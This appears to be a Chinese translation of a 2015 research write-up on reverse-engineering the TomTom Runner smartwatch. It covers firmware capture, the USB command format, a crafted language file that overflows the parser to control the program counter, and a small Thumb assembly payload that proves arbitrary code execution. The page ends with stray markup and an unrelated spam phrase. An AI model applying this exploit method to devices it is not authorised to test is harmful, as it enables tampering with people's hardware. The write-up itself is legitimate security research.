<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/papers/11063

            原文鏈接:http://grangeia.io/2015/11/09/hacking-tomtom-runner-pt1/ part1 part2 part3

            雖然專業化是很多領域的關鍵所在,但是我個人認為在信息安全這一領域,過于專業會導致視野狹隘、觀點片面。現在我就想讓自己嘗試那些我不是很喜歡的領域,而這篇文章就是在闡述一個我討厭了很久的東西:嵌入式硬件逆向工程。

            0x00 動機


            現在的物聯網設備有很多吸引人的地方:

            今年有個很明顯的流行詞,物聯網。撇去流行不說,我認為我們確實已經到了任何電子設備都會生成數據并分享給全世界的地步。

            0x01 準備


            這次我們來破解這款智能手表

            The TomTom Runner

            首先要做的第一件事就是給所有這些設備下載了固件,這些設備的固件通常都可以在廠家官網或者用戶論壇上找到。

            0x02 從外部尋找突破口


            選擇好了入侵TomTom,接下來就要從一個黑客的角度來研究它了。我們這里不要選擇拆這個智能手表,也不要用JTAG或者Debug pins來進行硬件上的入侵。而且感覺TomTom手表應該會有一些保護措施,這個也應該比較困難。

            所以,從外部看,我想到了下面這些攻擊途徑:

            0x03 固件


            要入侵任何一臺設備的第一步都是獲取它的固件包,我是通過看TomTom如何用官方軟件給手表固件升級實現的。

            用Wireshark同時強迫固件升級可以找到固件的文件目錄:

            如果你足夠細心的話,你就會發現這就是一個常規的HTTP頁面,沒有SSL。這點之后還會用到。這里有很多的文件,但是有用的就只有:

            還有一些其他的文件:設備配置文件,GPS和BLE模塊硬件。這兩個是加密了的文件,不過沒什么意思。

            這個最大的文件0x000000F0(將近400kb),應該是主要的固件包。用binwalk固件分析器打開發現了這些東西:

            $ binwalk -BEH 0x000000F0
            DECIMAL       HEXADECIMAL     HEURISTIC ENTROPY ANALYSIS
            --------------------------------------------------------------------------------
            1024          0x400           High entropy data, best guess: encrypted, size: 470544, 0     low entropy blocks
            

            如果你還想進一步破解的話可以用vbindiff比較下這兩個不同的固件版本:

            注意:

            這就說明這很有可能是在ECB模式中的某種分組密碼。現在最常見的16字節密碼是AES。

            我們過會兒再對固件分析,現在我們看看可以從設備的硬件了解到什么東西。

            0x04 硬件


            在不打開這個手表的情況下我們怎樣了解它的內部信息呢?基本上所有在美國出售RF發射設備都被FCC測試過了,然后FCC會發表一篇報告,這個報告包含了各種豐富的信息和照片:

            上圖包括這些芯片:

            這個GPS芯片焊接在方向鍵附近。現在我們已經對這個設備的內部有了充分的了解,我們就可以繼續入侵了。

            0x05 USB通信


            為了充分理解相關知識,我在ttwatch上找了一個很好的開源軟件,TomTom Windows軟件做的事情它絕大部分都可以做到。

            我看了下源碼,實際上很多智能手表上的USB通信都只是對EEPROM進行簡單的讀寫指令,同時我也找到了很多智能手表有趣而且不可記錄的USB指令。其實USB通信非常簡單,每個指令都至少包含下面的這些字節:

            09 02 01 0E
            
            "09" -> Indicates a command to the watch (preamble)
            "02" -> Size of message
            "01" -> sequence number. Should increment after each command.
            "0E" -> Actual command byte (this one formats the EEPROM)
            

            絕大多數智能手表接受或者發出指令都要從之前的4MB EEPROM中讀取或寫入。ttwatch已經為我們做好了這些,我們可以讀,寫并列出這些文件:

            #!bash
            [email protected]:~/usb# ttwatch -l
            0x00000030: 16072
            0x00810004: 4198
            0x00810005: 4136
            0x00810009: 3968
            0x0081000b: 3980
            0x0081000a: 4152
            0x0081000e: 3957
            0x0081000f: 4156
            0x0081000c: 4003
            0x00810002: 4115
            [...]    
            
            [email protected]:~/usb# ttwatch -r 0x00f20000
            <?xml version="1.0" encoding="UTF-8"?>
            <preferences version="1" modified="seg set 21 13:34:28 2015">
                <ephemerisModified>0</ephemerisModified>
                <SyncTimeToPC>1</SyncTimeToPC>
                <SendAnonymousData>1</SendAnonymousData>
                <WatchWindowMinimized>0</WatchWindowMinimized>
                <watchName>lgrangeia</watchName>
                <ConfigURL>https://mysports.tomtom.com/service/config/config.json</ConfigURL>
                <exporters>
                </exporters>
            </preferences>
            

            我在測試中發現如果你對一個之前在download.tomtom.com看到的固件文件進行寫操作,下次你斷開手表的USB連接時,這個手表會重啟并且刷新文件。

            0x06 突破口


            首先,我們要查看EEPROM中的每一個文件,包括日志文件,給大家看個例子:

            上面這個文件表明,設備里的藍牙芯片有自己的固件,并會在MD5驗證之后顯示出來。

            其實我對那些被解析出來的文件很感興趣,因為這些文件容易修改,而且我認為應該好好利用里面的漏洞。其中有兩種符合的文件:運動信息文件和語言文件。

            運動文件采用二進制格式(ttbin),同時有一些工具,比如ttwatch,把這些文件轉換成其他格式。不過我還是選擇放棄運動文件,因為這個智能手表只能生成文件而不會解析文件:有一個界面會向你展示你最近的跑步情況,但設備永遠不會打開ttbin文件去讀它。

            所以還是語言文件要有意思的多,讓我們隨便看看其中一個:

            這段數據的結構非常簡單:

            在很多情況下,解析器都無法對這個文件進行準確的解析,所以我列出了一系列要解決的問題:

            這個結構很簡單,所以我們不需要自動的漏洞檢查工具去檢測。

            接下來的事就很簡單了,用電腦上的十六進制編輯器編輯文件,再用ttwatch文件傳輸選擇上傳到設備當中:

            #!bash
            $ cat 00810003.bin | ttwatch -w 0x00810003
            

            這里要注意每個文件都對應不同的翻譯。我改變了德語文件,然后斷開設備的USB連接,并把設備的語言設置為德語,最后將上面的問題解決了一些。

            當你試圖改變UI語言時這個設備應該會自動重啟,當然別的情況也會重啟,不過這個還是有些不同,因為在那之后EEPROM(0x00013000)中多了個新文件:

            #!bash
            $ ttwatch -r 0x00013000
            Crashlog - SW ver 1.8.42
            R1 = 0x00000000
            R2 = 0x00000002
            R3 = 0x00000f95
            R12 = 0x00000000
            LR [R14] = 0x00441939 subroutine call return address
            PC [R15] = 0x2001b26c program counter
            PSR = 0x41000000
            BFAR = 0x010f0040
            CFSR = 0x00008200
            HFSR = 0x40000000
            DFSR = 0x00000000
            AFSR = 0x00000000
            Batt = 4160 mV
            stack hi = 0x000004d4
            

            你沒有看錯!這是崩潰日志!從這個文件我們得到許多有用的東西。比如我們可以得到一些關鍵寄存器的值,包括程序計數器、R0-R3、R12、一些狀態值 、以及電池電量和堆棧大小。通過重啟之后重復的一些過程,我們得到了寄存器的一些相同的值,這意味著這個智能手表當中沒有使用任何內存隨機化的手段。

            接著是許多數據表和ARM文檔。很快我就從中了解到一個最重要的信息,那就是執行流程從閃存ROM到了ARM區域。這可以從PC(程序計數器)的值中看出。它的值就是保存在RAM中的內存區域。請注意下面這張來自Atmel的數據表:

            因為某種原因,執行從ROM區域跳到了我們裝載語言文件區域附近的SRAM,起始地址是0x20000000。如果我們能夠控制好我們語言文件的位置或者從正確的方向“推動”程序計數器,我們就能自己控制跳躍到內存區域。

            經過一些改動之后,我注意到有兩個不同類型的崩潰:第一個是在我選擇非法語言文件的時候,第二個是在我從菜單中滾動語言的時候。第二個確實也會導致重啟。似乎不管你有沒有選擇,語言文件都會載入到RAM中。這也給了我另一個想法:我可以改變其他語言文件的內容,看看這是否會對寄存器產生某種影響。

            我改變了所有字母B(ASCII碼0x42)的語言列表中的下一個語言文件,沒有改變sbuf_size的value并把num_strings設置為零。之前的語言文件仍然有6001比特大小的sbuf_size。接著我重啟了手表,進入語言菜單滾動了下語言。接著手表崩潰了:

            Crashlog - SW ver 1.8.42
             R0 = 0x2001b088
             R1 = 0x42424242
             R2 = 0x00000002
             R3 = 0x00000f95
             R12 = 0x00000000
             LR [R14] = 0x00441939 subroutine call return address
             PC [R15] = 0x42424242 program counter
             PSR = 0x60000000
             BFAR = 0xe000ed38
             CFSR = 0x00000001
             HFSR = 0x40000000
             DFSR = 0x00000000
             AFSR = 0x00000000
             Batt = 4190 mV
             stack hi = 0x000004d4
            

            看到了么,我們能夠控制進入程序計數器的東西!不知怎么的,執行流程跳到了我們控制的地址,也就是說我們可以執行轉移到內存的任何一個地方了,這也就代表著我們可以在TomTom中執行任意代碼了。

            0x06 代碼執行


            好的,我們現在已經知道如何轉移到內存中的任何一個地方了,在一個普通的操作系統中,有很多我們可以做的事情:系統調用、標準庫調用等等。但這個設備就沒這么好了。

            首先我們驗證下簡單的payload的執行,payload構造可以在匯編中完成。下面是我的第一次嘗試:

            .syntax unified
            .thumb    
            
            mov r2, #0x13
            mov r3, #0x37    
            
            add r1, r3, r2, lsl #8    
            
            mov r0, #0
            bx r0
            

            注意一定要指定Thumb指令,因為Cortex-M4只會在Thumb模式下運行。代碼的 最后兩行跳到了地址0x00000000,這樣每次都會導致崩潰,因為ARM處理器會根據bx jump的指令地址最后的標志位選擇使用ARM指令還是Thumb指令。現在最低位是0,所以我們使用的是ARM指令。而就像前面剛說的那樣,ARM ortex-M4只支持Thumb,所以出錯了。

            我們可以用交叉編譯器工具在一個非ARM Linux系統中解決這個問題。就像這樣:

            #!bash
            $ arm-none-eabi-as -mcpu=cortex-m4 -o first.o first.s
            

            這是編譯好的代碼,用objdump反編譯:

            #!bash
            $ arm-linux-gnueabi-objdump -d first.o    
            
            first.o:     file format elf32-littlearm    
            
            Disassembly of section .text:
            00000000 <.text>:
               0:   f04f 0213   mov.w   r2, #19
               4:   f04f 0337   mov.w   r3, #55 ; 0x37
               8:   eb03 2102   add.w   r1, r3, r2, lsl #8
               c:   f04f 0000   mov.w   r0, #0
              10:   4700        bx  r0
            

            接下來要做的,是把這個payload放到設備中。我們把這個放到德語文件,然后把用于jump指令的指針(第二個文件中的第四雙字)指向它。

            下面這張圖片是在第二個文件(0x00810003)設置的所有內容:

            第四個雙字很明顯指向我們的payload,然后我把文件裝載到了手表中,像之前那樣通過選擇語言執行跳轉。在又一次崩潰之后,我們得到了這樣的的崩潰日志(請注意第1、2、3行):

            Crashlog - SW ver 1.8.42
             R0 = 0x00000000
             R1 = 0x00001337
             R2 = 0x00000013
             R3 = 0x00000037
             R12 = 0x00000000
             LR [R14] = 0x00441939 subroutine call return address
             PC [R15] = 0x00000000 program counter
             PSR = 0x20000000
             BFAR = 0xe000ed38
             CFSR = 0x00020000
             HFSR = 0x40000000
             DFSR = 0x00000000
             AFSR = 0x00000000
             Batt = 4192 mV
             stack hi = 0x000004d4
            

            如上圖所示,我們現在就可以在一個在物聯網設備的封閉固件中進行任意的代碼執行了!

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线